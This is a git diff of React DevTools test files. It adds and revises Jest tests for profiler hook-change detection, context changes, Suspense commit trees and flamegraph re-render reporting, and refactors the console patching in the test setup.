+      return snapshot;
+    }
+
+    // Custom hook wrapping multiple primitive hooks
+    function useCustomHook() {
+      const [value, setValue] = React.useState('custom');
+      React.useEffect(() => {}, [value]);
+      return [value, setValue];
+    }
+
+    let setState = null;
+    let startTransition = null;
+    let actionStateDispatch = null;
+    let setCustomValue = null;
+    let setFinalState = null;
+
+    const Component = () => {
+      // Hook 0: useState
+      const [state, _setState] = React.useState('initial');
+      setState = _setState;
+
+      // Hook 1: useSyncExternalStore (composite hook - internally uses multiple hooks)
+      const storeValue = React.useSyncExternalStore(
+        subscribe,
+        getSnapshot,
+        getSnapshot,
+      );
+
+      // Hook 2: useTransition (composite hook - internally uses multiple hooks)
+      const [isPending, _startTransition] = React.useTransition();
+      startTransition = _startTransition;
+
+      // Hook 3: useActionState (composite hook - internally uses multiple hooks)
+      const [actionState, _actionStateDispatch] = React.useActionState(
+        (_prev, action) => action,
+        'action-initial',
+      );
+      actionStateDispatch = _actionStateDispatch;
+
+      // Hook 4: useState inside custom hook (flattened)
+      // Hook 5: useEffect inside custom hook (not stateful, won't show in changes)
+      const [customValue, _setCustomValue] = useCustomHook();
+      setCustomValue = _setCustomValue;
+
+      // Hook 6: direct useState at the end
+      const [finalState, _setFinalState] = React.useState('final');
+      setFinalState = _setFinalState;
+
+      return `${state}-${storeValue}-${isPending}-${actionState}-${customValue}-${finalState}`;
+    };
+
+    utils.act(() => store.profilerStore.startProfiling());
+    utils.act(() => render(<Component />));
+
+    // Save references before inspectHooks() overwrites them
+    const realSetState = setState;
+    const realStartTransition = startTransition;
+    const realActionStateDispatch = actionStateDispatch;
+    const realSetCustomValue = setCustomValue;
+    const realSetFinalState = setFinalState;
+
+    // 2nd render: change useState (hook 0)
+    utils.act(() => realSetState('changed'));
+
+    // 3rd render: change useSyncExternalStore (hook 1)
+    utils.act(() => {
+      snapshot = 1;
+      syncExternalStoreCallback();
+    });
+
+    // 4th render: trigger useTransition (hook 2)
+    // Note: useTransition triggers two renders - one when isPending becomes true,
+    // and another when isPending becomes false after the transition completes
+    utils.act(() => {
+      realStartTransition(() => {});
+    });
+
+    // 6th render: change useActionState (hook 3)
+    utils.act(() => realActionStateDispatch('action-changed'));
+
+    // 7th render: change custom hook's useState (hook 4)
+    utils.act(() => realSetCustomValue('custom-changed'));
+
+    // 8th render: change final useState (hook 6)
+    utils.act(() => realSetFinalState('final-changed'));
+
+    utils.act(() => store.profilerStore.stopProfiling());
+
+    const rootID = store.roots[0];
+
+    const changeDescriptions = store.profilerStore
+      .getDataForRoot(rootID)
+      .commitData.map(commitData => commitData.changeDescriptions);
+    expect(changeDescriptions).toHaveLength(8);
+
+    // 1st render: Initial mount
+    expect(changeDescriptions[0]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": null,
+          "didHooksChange": false,
+          "isFirstMount": true,
+          "props": null,
+          "state": null,
+        },
+      }
+    `);
+
+    // 2nd render: Changed hook 0 (useState)
+    expect(changeDescriptions[1]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            0,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    // 3rd render: Changed hook 1 (useSyncExternalStore)
+    expect(changeDescriptions[2]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            1,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    // 4th render: Changed hook 2 (useTransition - isPending becomes true)
+    expect(changeDescriptions[3]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            2,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    // 5th render: Changed hook 2 (useTransition - isPending becomes false)
+    expect(changeDescriptions[4]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            2,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    // 6th render: Changed hook 3 (useActionState)
+    expect(changeDescriptions[5]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            3,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    // 7th render: Changed hook 4 (useState inside useCustomHook)
+    expect(changeDescriptions[6]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            4,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    // 8th render: Changed hook 6 (final useState)
+    expect(changeDescriptions[7]).toMatchInlineSnapshot(`
+      Map {
+        2 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            6,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+  });
+
+  // @reactVersion >= 19.0
+  it('should detect context changes or lack of changes with conditional use()', () => {
+    const ContextA = React.createContext(0);
+    const ContextB = React.createContext(1);
+    let setState = null;
+
+    const Component = () => {
+      // These hooks may change and initiate re-renders.
+      let state;
+      [state, setState] = React.useState('abc');
+
+      let result = state;
+
+      if (state.includes('a')) {
+        result += React.use(ContextA);
+      }
+
+      result += React.use(ContextB);
+
+      return result;
+    };
+
+    utils.act(() =>
+      render(
+        <ContextA.Provider value={1}>
+          <ContextB.Provider value={1}>
+            <Component />
+          </ContextB.Provider>
+        </ContextA.Provider>,
+      ),
+    );
+
+    // Save reference to the real setState function before profiling starts.
+    // inspectHooks() re-runs the component with a mock dispatcher,
+    // which would overwrite setState with a mock function that does nothing.
+    const realSetState = setState;
+
+    utils.act(() => store.profilerStore.startProfiling());
+
+    // First render changes Context.
+    utils.act(() =>
+      render(
+        <ContextA.Provider value={0}>
+          <ContextB.Provider value={1}>
+            <Component />
+          </ContextB.Provider>
+        </ContextA.Provider>,
+      ),
+    );
+
+    // Second render has no changed Context, only changed state.
+    utils.act(() => realSetState('def'));
+
+    utils.act(() => store.profilerStore.stopProfiling());
+
+    const rootID = store.roots[0];
+
+    const changeDescriptions = store.profilerStore
+      .getDataForRoot(rootID)
+      .commitData.map(commitData => commitData.changeDescriptions);
+    expect(changeDescriptions).toHaveLength(2);
+
+    // 1st render: Change to Context
+    expect(changeDescriptions[0]).toMatchInlineSnapshot(`
+      Map {
+        4 => {
+          "context": true,
+          "didHooksChange": false,
+          "hooks": [],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    // 2nd render: Change to State
+    expect(changeDescriptions[1]).toMatchInlineSnapshot(`
+      Map {
+        4 => {
+          "context": false,
+          "didHooksChange": true,
+          "hooks": [
+            0,
+          ],
+          "isFirstMount": false,
+          "props": [],
+          "state": null,
+        },
+      }
+    `);
+
+    expect(changeDescriptions).toHaveLength(2);
+
+    // Export and re-import profile data and make sure it is retained.
+    utils.exportImportHelper(bridge, store);
+
+    for (let commitIndex = 0; commitIndex < 2; commitIndex++) {
+      const commitData = store.profilerStore.getCommitData(rootID, commitIndex);
+      expect(commitData.changeDescriptions).toEqual(
+        changeDescriptions[commitIndex],
+      );
+    }
+  });
+
   // @reactVersion >= 18.0
   it('should calculate durations based on actual children (not filtered children)', () => {
     store.componentFilters = [utils.createDisplayNameFilter('^Parent$')];
@@ -1251,8 +906,8 @@ describe('ProfilingCache', () => {
       Map {
         1 => 16,
         2 => 16,
+        3 => 1,
         4 => 1,
-        6 => 1,
       }
     `);
 
@@ -1260,8 +915,8 @@ describe('ProfilingCache', () => {
       Map {
         1 => 0,
         2 => 10,
+        3 => 1,
         4 => 1,
-        6 => 1,
       }
     `);
   });
@@ -1270,6 +925,14 @@ describe('ProfilingCache', () => {
   it('should calculate durations correctly for suspended views', async () => {
     let data;
     const getData = () => {
+      if (React.use) {
+        if (!data) {
+          data = new Promise(resolve => {
+            resolve('abc');
+          });
+        }
+        return React.use(data);
+      }
       if (data) {
         return data;
       } else {
@@ -1304,34 +967,68 @@ describe('ProfilingCache', () => {
     const rootID = store.roots[0];
     const commitData = store.profilerStore.getDataForRoot(rootID).commitData;
     expect(commitData).toHaveLength(2);
-    expect(commitData[0].fiberActualDurations).toMatchInlineSnapshot(`
-      Map {
-        1 => 15,
-        2 => 15,
-        3 => 5,
-        4 => 2,
-      }
-    `);
-    expect(commitData[0].fiberSelfDurations).toMatchInlineSnapshot(`
-      Map {
-        1 => 0,
-        2 => 10,
-        3 => 3,
-        4 => 2,
-      }
-    `);
-    expect(commitData[1].fiberActualDurations).toMatchInlineSnapshot(`
-      Map {
-        7 => 3,
-        3 => 3,
-      }
-    `);
-    expect(commitData[1].fiberSelfDurations).toMatchInlineSnapshot(`
-      Map {
-        7 => 3,
-        3 => 0,
-      }
-    `);
+
+    if (React.version.startsWith('17')) {
+      // React 17 will mount all children until it suspends in a LegacyHidden
+      // The ID gap is from the Fiber for <Async> that's in the disconnected tree.
+      expect(commitData[0].fiberActualDurations).toMatchInlineSnapshot(`
+        Map {
+          1 => 15,
+          2 => 15,
+          3 => 5,
+          5 => 2,
+        }
+      `);
+      expect(commitData[0].fiberSelfDurations).toMatchInlineSnapshot(`
+        Map {
+          1 => 0,
+          2 => 10,
+          3 => 3,
+          5 => 2,
+        }
+      `);
+      expect(commitData[1].fiberActualDurations).toMatchInlineSnapshot(`
+        Map {
+          6 => 3,
+          3 => 3,
+        }
+      `);
+      expect(commitData[1].fiberSelfDurations).toMatchInlineSnapshot(`
+        Map {
+          6 => 3,
+          3 => 0,
+        }
+      `);
+    } else {
+      expect(commitData[0].fiberActualDurations).toMatchInlineSnapshot(`
+        Map {
+          1 => 15,
+          2 => 15,
+          3 => 5,
+          4 => 2,
+        }
+      `);
+      expect(commitData[0].fiberSelfDurations).toMatchInlineSnapshot(`
+        Map {
+          1 => 0,
+          2 => 10,
+          3 => 3,
+          4 => 2,
+        }
+      `);
+      expect(commitData[1].fiberActualDurations).toMatchInlineSnapshot(`
+        Map {
+          5 => 3,
+          3 => 3,
+        }
+      `);
+      expect(commitData[1].fiberSelfDurations).toMatchInlineSnapshot(`
+        Map {
+          5 => 3,
+          3 => 0,
+        }
+      `);
+    }
   });
 
   // @reactVersion >= 16.9
@@ -1442,9 +1139,11 @@ describe('ProfilingCache', () => {
             {
               "compiledWithForget": false,
               "displayName": "render()",
+              "env": null,
               "hocDisplayNames": null,
               "id": 1,
               "key": null,
+              "stack": null,
               "type": 11,
             },
           ],
@@ -1483,9 +1182,11 @@ describe('ProfilingCache', () => {
             {
               "compiledWithForget": false,
               "displayName": "createRoot()",
+              "env": null,
               "hocDisplayNames": null,
               "id": 1,
               "key": null,
+              "stack": null,
               "type": 11,
             },
           ],
@@ -1523,9 +1224,11 @@ describe('ProfilingCache', () => {
             {
               "compiledWithForget": false,
               "displayName": "createRoot()",
+              "env": null,
               "hocDisplayNames": null,
               "id": 1,
               "key": null,
+              "stack": null,
               "type": 11,
             },
           ],
diff --git a/packages/react-devtools-shared/src/__tests__/profilingCharts-test.js b/packages/react-devtools-shared/src/__tests__/profilingCharts-test.js
index e54af61d6209..da20511a650e 100644
--- a/packages/react-devtools-shared/src/__tests__/profilingCharts-test.js
+++ b/packages/react-devtools-shared/src/__tests__/profilingCharts-test.js
@@ -298,4 +298,164 @@ describe('profiling charts', () => {
       `);
     });
   });
+
+  describe('components behind filtered fibers should not report false re-renders', () => {
+    it('should not report a component as re-rendered when its filtered parent bailed out', () => {
+      let triggerUpdate;
+
+      function Count() {
+        const [count, setCount] = React.useState(0);
+        triggerUpdate = () => setCount(c => c + 1);
+        Scheduler.unstable_advanceTime(5);
+        return count;
+      }
+
+      function Greeting() {
+        Scheduler.unstable_advanceTime(3);
+        return 'Hello';
+      }
+
+      function App() {
+        Scheduler.unstable_advanceTime(1);
+        return (
+          <React.Fragment>
+            <Count />
+            <div>
+              <Greeting />
+            </div>
+          </React.Fragment>
+        );
+      }
+
+      utils.act(() => store.profilerStore.startProfiling());
+      utils.act(() => render(<App />));
+
+      // Verify tree structure: div is filtered, so Greeting appears as child of App
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+              <Count>
+              <Greeting>
+      `);
+
+      // Trigger a state update in Count. Should not cause Greeting to re-render.
+      utils.act(() => triggerUpdate());
+
+      utils.act(() => store.profilerStore.stopProfiling());
+
+      const rootID = store.roots[0];
+      const {chartData} = getFlamegraphChartData(rootID, 1);
+      const allNodes = chartData.rows.flat();
+
+      expect(allNodes).toEqual([
+        expect.objectContaining({name: 'App', didRender: false}),
+        expect.objectContaining({name: 'Greeting', didRender: false}),
+        expect.objectContaining({name: 'Count', didRender: true}),
+      ]);
+    });
+
+    it('should not report a component as re-rendered when behind a filtered fragment', () => {
+      let triggerUpdate;
+
+      function Count() {
+        const [count, setCount] = React.useState(0);
+        triggerUpdate = () => setCount(c => c + 1);
+        Scheduler.unstable_advanceTime(5);
+        return count;
+      }
+
+      function Greeting() {
+        Scheduler.unstable_advanceTime(3);
+        return 'Hello';
+      }
+
+      function App() {
+        Scheduler.unstable_advanceTime(1);
+        return (
+          <React.Fragment>
+            <Count />
+            <React.Fragment>
+              <Greeting />
+            </React.Fragment>
+          </React.Fragment>
+        );
+      }
+
+      utils.act(() => store.profilerStore.startProfiling());
+      utils.act(() => render(<App />));
+
+      // Fragment with null key is filtered, so Greeting appears as child of App
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+              <Count>
+              <Greeting>
+      `);
+
+      // Trigger a state update in Count
+      utils.act(() => triggerUpdate());
+
+      utils.act(() => store.profilerStore.stopProfiling());
+
+      const rootID = store.roots[0];
+      const {chartData} = getFlamegraphChartData(rootID, 1);
+      const allNodes = chartData.rows.flat();
+
+      expect(allNodes).toEqual([
+        expect.objectContaining({name: 'App', didRender: false}),
+        expect.objectContaining({name: 'Greeting', didRender: false}),
+        expect.objectContaining({name: 'Count', didRender: true}),
+      ]);
+    });
+
+    it('should correctly report sibling components that did not re-render', () => {
+      let triggerUpdate;
+
+      function Count() {
+        const [count, setCount] = React.useState(0);
+        triggerUpdate = () => setCount(c => c + 1);
+        Scheduler.unstable_advanceTime(5);
+        return count;
+      }
+
+      function Greeting() {
+        Scheduler.unstable_advanceTime(3);
+        return 'Hello';
+      }
+
+      function App() {
+        Scheduler.unstable_advanceTime(1);
+        return (
+          <React.Fragment>
+            <Count />
+            <Greeting />
+          </React.Fragment>
+        );
+      }
+
+      utils.act(() => store.profilerStore.startProfiling());
+      utils.act(() => render(<App />));
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+              <Count>
+              <Greeting>
+      `);
+
+      utils.act(() => triggerUpdate());
+
+      utils.act(() => store.profilerStore.stopProfiling());
+
+      const rootID = store.roots[0];
+      const {chartData} = getFlamegraphChartData(rootID, 1);
+      const allNodes = chartData.rows.flat();
+
+      expect(allNodes).toEqual([
+        expect.objectContaining({name: 'App', didRender: false}),
+        expect.objectContaining({name: 'Greeting', didRender: false}),
+        expect.objectContaining({name: 'Count', didRender: true}),
+      ]);
+    });
+  });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/profilingCommitTreeBuilder-test.js b/packages/react-devtools-shared/src/__tests__/profilingCommitTreeBuilder-test.js
index f5b7e5fded40..f5a653592a67 100644
--- a/packages/react-devtools-shared/src/__tests__/profilingCommitTreeBuilder-test.js
+++ b/packages/react-devtools-shared/src/__tests__/profilingCommitTreeBuilder-test.js
@@ -9,13 +9,10 @@
 
 import type Store from 'react-devtools-shared/src/devtools/store';
 
-import {
-  getLegacyRenderImplementation,
-  getModernRenderImplementation,
-} from './utils';
+import {getVersionedRenderImplementation} from './utils';
 
 describe('commit tree', () => {
-  let React;
+  let React = require('react');
   let Scheduler;
   let store: Store;
   let utils;
@@ -32,12 +29,10 @@ describe('commit tree', () => {
     Scheduler = require('scheduler');
   });
 
-  const {render: legacyRender} = getLegacyRenderImplementation();
-  const {render: modernRender} = getModernRenderImplementation();
+  const {render} = getVersionedRenderImplementation();
 
   // @reactVersion >= 16.9
-  // @reactVersion <= 18.2
-  it('should be able to rebuild the store tree for each commit (legacy render)', () => {
+  it('should be able to rebuild the store tree for each commit', () => {
     const Parent = ({count}) => {
       Scheduler.unstable_advanceTime(10);
       return new Array(count)
@@ -50,13 +45,13 @@ describe('commit tree', () => {
     });
 
     utils.act(() => store.profilerStore.startProfiling());
-    utils.act(() => legacyRender(<Parent count={1} />));
+    utils.act(() => render(<Parent count={1} />));
     expect(store).toMatchInlineSnapshot(`
       [root]
         ▾ <Parent>
             <Child key="0"> [Memo]
     `);
-    utils.act(() => legacyRender(<Parent count={3} />));
+    utils.act(() => render(<Parent count={3} />));
     expect(store).toMatchInlineSnapshot(`
       [root]
         ▾ <Parent>
@@ -64,73 +59,14 @@ describe('commit tree', () => {
             <Child key="1"> [Memo]
             <Child key="2"> [Memo]
     `);
-    utils.act(() => legacyRender(<Parent count={2} />));
+    utils.act(() => render(<Parent count={2} />));
     expect(store).toMatchInlineSnapshot(`
       [root]
         ▾ <Parent>
             <Child key="0"> [Memo]
             <Child key="1"> [Memo]
     `);
-    utils.act(() => legacyRender(<Parent count={0} />));
-    expect(store).toMatchInlineSnapshot(`
-      [root]
-          <Parent>
-    `);
-    utils.act(() => store.profilerStore.stopProfiling());
-
-    const rootID = store.roots[0];
-    const commitTrees = [];
-    for (let commitIndex = 0; commitIndex < 4; commitIndex++) {
-      commitTrees.push(
-        store.profilerStore.profilingCache.getCommitTree({
-          commitIndex,
-          rootID,
-        }),
-      );
-    }
-
-    expect(commitTrees[0].nodes.size).toBe(3); // <Root> + <Parent> + <Child>
-    expect(commitTrees[1].nodes.size).toBe(5); // <Root> + <Parent> + <Child> x 3
-    expect(commitTrees[2].nodes.size).toBe(4); // <Root> + <Parent> + <Child> x 2
-    expect(commitTrees[3].nodes.size).toBe(2); // <Root> + <Parent>
-  });
-
-  // @reactVersion >= 18
-  it('should be able to rebuild the store tree for each commit (createRoot)', () => {
-    const Parent = ({count}) => {
-      Scheduler.unstable_advanceTime(10);
-      return new Array(count)
-        .fill(true)
-        .map((_, index) => <Child key={index} />);
-    };
-    const Child = React.memo(function Child() {
-      Scheduler.unstable_advanceTime(2);
-      return null;
-    });
-
-    utils.act(() => store.profilerStore.startProfiling());
-    utils.act(() => modernRender(<Parent count={1} />));
-    expect(store).toMatchInlineSnapshot(`
-      [root]
-        ▾ <Parent>
-            <Child key="0"> [Memo]
-    `);
-    utils.act(() => modernRender(<Parent count={3} />));
-    expect(store).toMatchInlineSnapshot(`
-      [root]
-        ▾ <Parent>
-            <Child key="0"> [Memo]
-            <Child key="1"> [Memo]
-            <Child key="2"> [Memo]
-    `);
-    utils.act(() => modernRender(<Parent count={2} />));
-    expect(store).toMatchInlineSnapshot(`
-      [root]
-        ▾ <Parent>
-            <Child key="0"> [Memo]
-            <Child key="1"> [Memo]
-    `);
-    utils.act(() => modernRender(<Parent count={0} />));
+    utils.act(() => render(<Parent count={0} />));
     expect(store).toMatchInlineSnapshot(`
       [root]
           <Parent>
@@ -179,24 +115,27 @@ describe('commit tree', () => {
     });
 
     // @reactVersion >= 16.9
-    // @reactVersion <= 18.2
-    it('should support Lazy components (legacy render)', async () => {
+    it('should support Lazy components', async () => {
       utils.act(() => store.profilerStore.startProfiling());
-      utils.act(() => legacyRender(<App renderChildren={true} />));
+      utils.act(() => render(<App renderChildren={true} />));
       await Promise.resolve();
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <App>
               <Suspense>
+        [suspense-root]  rects={null}
+          <Suspense name="App" uniqueSuspenders={true} rects={null}>
       `);
-      utils.act(() => legacyRender(<App renderChildren={true} />));
+      utils.act(() => render(<App renderChildren={true} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <App>
             ▾ <Suspense>
                 <LazyInnerComponent>
+        [suspense-root]  rects={null}
+          <Suspense name="App" uniqueSuspenders={true} rects={null}>
       `);
-      utils.act(() => legacyRender(<App renderChildren={false} />));
+      utils.act(() => render(<App renderChildren={false} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
             <App>
@@ -214,29 +153,23 @@ describe('commit tree', () => {
         );
       }
 
-      expect(commitTrees[0].nodes.size).toBe(3); // <Root> + <App> + <Suspense>
+      expect(commitTrees[0].nodes.size).toBe(3);
       expect(commitTrees[1].nodes.size).toBe(4); // <Root> + <App> + <Suspense> + <LazyInnerComponent>
       expect(commitTrees[2].nodes.size).toBe(2); // <Root> + <App>
     });
 
-    // @reactVersion >= 18.0
-    it('should support Lazy components (createRoot)', async () => {
+    // @reactVersion >= 16.9
+    it('should support Lazy components that are unmounted before resolving', async () => {
       utils.act(() => store.profilerStore.startProfiling());
-      utils.act(() => modernRender(<App renderChildren={true} />));
-      await Promise.resolve();
+      utils.act(() => render(<App renderChildren={true} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <App>
               <Suspense>
+        [suspense-root]  rects={null}
+          <Suspense name="App" uniqueSuspenders={true} rects={null}>
       `);
-      utils.act(() => modernRender(<App renderChildren={true} />));
-      expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▾ <App>
-            ▾ <Suspense>
-                <LazyInnerComponent>
-      `);
-      utils.act(() => modernRender(<App renderChildren={false} />));
+      utils.act(() => render(<App renderChildren={false} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
             <App>
@@ -245,7 +178,7 @@ describe('commit tree', () => {
 
       const rootID = store.roots[0];
       const commitTrees = [];
-      for (let commitIndex = 0; commitIndex < 3; commitIndex++) {
+      for (let commitIndex = 0; commitIndex < 2; commitIndex++) {
         commitTrees.push(
           store.profilerStore.profilingCache.getCommitTree({
             commitIndex,
@@ -254,72 +187,77 @@ describe('commit tree', () => {
         );
       }
 
-      expect(commitTrees[0].nodes.size).toBe(3); // <Root> + <App> + <Suspense>
-      expect(commitTrees[1].nodes.size).toBe(4); // <Root> + <App> + <Suspense> + <LazyInnerComponent>
-      expect(commitTrees[2].nodes.size).toBe(2); // <Root> + <App>
+      expect(commitTrees[0].nodes.size).toBe(3);
+      expect(commitTrees[1].nodes.size).toBe(2); // <Root> + <App>
     });
+  });
 
-    // @reactVersion >= 16.9
-    // @reactVersion <= 18.2
-    it('should support Lazy components that are unmounted before resolving (legacy render)', async () => {
-      utils.act(() => store.profilerStore.startProfiling());
-      utils.act(() => legacyRender(<App renderChildren={true} />));
-      expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▾ <App>
-              <Suspense>
-      `);
-      utils.act(() => legacyRender(<App renderChildren={false} />));
-      expect(store).toMatchInlineSnapshot(`
-        [root]
-            <App>
-      `);
-      utils.act(() => store.profilerStore.stopProfiling());
+  describe('Suspense', () => {
+    it('should handle transitioning from fallback back to content during profiling', async () => {
+      let resolvePromise;
+      let promise = null;
+      let childTreeBaseDuration = 10;
 
-      const rootID = store.roots[0];
-      const commitTrees = [];
-      for (let commitIndex = 0; commitIndex < 2; commitIndex++) {
-        commitTrees.push(
-          store.profilerStore.profilingCache.getCommitTree({
-            commitIndex,
-            rootID,
-          }),
-        );
+      function Wrapper({children}) {
+        Scheduler.unstable_advanceTime(2);
+        return children;
       }
 
-      expect(commitTrees[0].nodes.size).toBe(3); // <Root> + <App> + <Suspense>
-      expect(commitTrees[1].nodes.size).toBe(2); // <Root> + <App>
-    });
+      function Child() {
+        Scheduler.unstable_advanceTime(childTreeBaseDuration);
+        if (promise !== null) {
+          React.use(promise);
+        }
+        return <GrandChild />;
+      }
+
+      function GrandChild() {
+        Scheduler.unstable_advanceTime(5);
+        return null;
+      }
+
+      function Fallback() {
+        Scheduler.unstable_advanceTime(2);
+        return null;
+      }
+
+      function App() {
+        Scheduler.unstable_advanceTime(1);
+        return (
+          <React.Suspense fallback={<Fallback />}>
+            <Wrapper>
+              <Child />
+            </Wrapper>
+          </React.Suspense>
+        );
+      }
 
-    // @reactVersion >= 18.0
-    it('should support Lazy components that are unmounted before resolving (createRoot)', async () => {
       utils.act(() => store.profilerStore.startProfiling());
-      utils.act(() => modernRender(<App renderChildren={true} />));
-      expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▾ <App>
-              <Suspense>
-      `);
-      utils.act(() => modernRender(<App renderChildren={false} />));
-      expect(store).toMatchInlineSnapshot(`
-        [root]
-            <App>
-      `);
+
+      // Commit 1: Mount with primary
+      utils.act(() => render(<App step={1} />));
+
+      // Commit 2: Suspend, show fallback
+      promise = new Promise(resolve => (resolvePromise = resolve));
+      await utils.actAsync(() => render(<App step={2} />));
+
+      // Commit 3: Resolve suspended promise, show primary content with a different duration.
+      childTreeBaseDuration = 20;
+      promise = null;
+      await utils.actAsync(resolvePromise);
+      utils.act(() => render(<App step={3} />));
+
       utils.act(() => store.profilerStore.stopProfiling());
 
       const rootID = store.roots[0];
-      const commitTrees = [];
-      for (let commitIndex = 0; commitIndex < 2; commitIndex++) {
-        commitTrees.push(
-          store.profilerStore.profilingCache.getCommitTree({
-            commitIndex,
-            rootID,
-          }),
-        );
+      const dataForRoot = store.profilerStore.getDataForRoot(rootID);
+      const numCommits = dataForRoot.commitData.length;
+      for (let commitIndex = 0; commitIndex < numCommits; commitIndex++) {
+        store.profilerStore.profilingCache.getCommitTree({
+          commitIndex,
+          rootID,
+        });
       }
-
-      expect(commitTrees[0].nodes.size).toBe(3); // <Root> + <App> + <Suspense>
-      expect(commitTrees[1].nodes.size).toBe(2); // <Root> + <App>
     });
   });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/setupTests.js b/packages/react-devtools-shared/src/__tests__/setupTests.js
index b78a3d162629..37b07ea7c35a 100644
--- a/packages/react-devtools-shared/src/__tests__/setupTests.js
+++ b/packages/react-devtools-shared/src/__tests__/setupTests.js
@@ -13,6 +13,7 @@ import type {
   BackendBridge,
   FrontendBridge,
 } from 'react-devtools-shared/src/bridge';
+
 const {getTestFlags} = require('../../../../scripts/jest/TestFlags');
 
 // Argument is serialized when passed from jest-cli script through to setupTests.
@@ -103,56 +104,46 @@ global.gate = fn => {
   return fn(flags);
 };
 
-beforeEach(() => {
-  global.mockClipboardCopy = jest.fn();
+function shouldIgnoreConsoleErrorOrWarn(args) {
+  let firstArg = args[0];
+  if (
+    firstArg !== null &&
+    typeof firstArg === 'object' &&
+    String(firstArg).indexOf('Error: Uncaught [') === 0
+  ) {
+    firstArg = String(firstArg);
+  } else if (typeof firstArg !== 'string') {
+    return false;
+  }
 
-  // Test environment doesn't support document methods like execCommand()
-  // Also once the backend components below have been required,
-  // it's too late for a test to mock the clipboard-js modules.
-  jest.mock('clipboard-js', () => ({copy: global.mockClipboardCopy}));
+  const maybeError = args[1];
+  if (
+    maybeError !== null &&
+    typeof maybeError === 'object' &&
+    maybeError.message === 'Simulated error coming from DevTools'
+  ) {
+    // Error from forcing an error boundary.
+    return true;
+  }
 
-  // These files should be required (and re-required) before each test,
-  // rather than imported at the head of the module.
-  // That's because we reset modules between tests,
-  // which disconnects the DevTool's cache from the current dispatcher ref.
-  const Agent = require('react-devtools-shared/src/backend/agent').default;
-  const {initBackend} = require('react-devtools-shared/src/backend');
-  const Bridge = require('react-devtools-shared/src/bridge').default;
-  const Store = require('react-devtools-shared/src/devtools/store').default;
-  const {installHook} = require('react-devtools-shared/src/hook');
-  const {
-    getDefaultComponentFilters,
-    setSavedComponentFilters,
-  } = require('react-devtools-shared/src/utils');
+  return global._ignoredErrorOrWarningMessages.some(errorOrWarningMessage => {
+    return firstArg.indexOf(errorOrWarningMessage) !== -1;
+  });
+}
 
-  // Fake timers let us flush Bridge operations between setup and assertions.
-  jest.useFakeTimers();
+function patchConsoleForTestingBeforeHookInstallation() {
+  const originalConsoleError = console.error;
+  const originalConsoleWarn = console.warn;
+  const originalConsoleLog = console.log;
 
-  // Use utils.js#withErrorsOrWarningsIgnored instead of directly mutating this array.
-  global._ignoredErrorOrWarningMessages = [
-    'react-test-renderer is deprecated.',
-  ];
-  function shouldIgnoreConsoleErrorOrWarn(args) {
-    let firstArg = args[0];
-    if (
-      firstArg !== null &&
-      typeof firstArg === 'object' &&
-      String(firstArg).indexOf('Error: Uncaught [') === 0
-    ) {
-      firstArg = String(firstArg);
-    } else if (typeof firstArg !== 'string') {
-      return false;
-    }
-    const shouldFilter = global._ignoredErrorOrWarningMessages.some(
-      errorOrWarningMessage => {
-        return firstArg.indexOf(errorOrWarningMessage) !== -1;
-      },
-    );
+  const consoleErrorMock = jest.fn();
+  const consoleWarnMock = jest.fn();
+  const consoleLogMock = jest.fn();
 
-    return shouldFilter;
-  }
+  global.consoleErrorMock = consoleErrorMock;
+  global.consoleWarnMock = consoleWarnMock;
+  global.consoleLogMock = consoleLogMock;
 
-  const originalConsoleError = console.error;
   console.error = (...args) => {
     let firstArg = args[0];
     if (typeof firstArg === 'string' && firstArg.startsWith('Warning: ')) {
@@ -160,7 +151,7 @@ beforeEach(() => {
       // if they use this code path.
       firstArg = firstArg.slice(9);
     }
-    if (firstArg === 'React instrumentation encountered an error: %s') {
+    if (firstArg === 'React instrumentation encountered an error: %o') {
       // Rethrow errors from React.
       throw args[1];
     } else if (
@@ -169,7 +160,10 @@ beforeEach(() => {
         firstArg.startsWith(
           'The current testing environment is not configured to support act',
         ) ||
-        firstArg.startsWith('You seem to have overlapping act() calls'))
+        firstArg.startsWith('You seem to have overlapping act() calls') ||
+        firstArg.startsWith(
+          'ReactDOM.render is no longer supported in React 18.',
+        ))
     ) {
       // DevTools intentionally wraps updates with acts from both DOM and test-renderer,
       // since test updates are expected to impact both renderers.
@@ -179,26 +173,79 @@ beforeEach(() => {
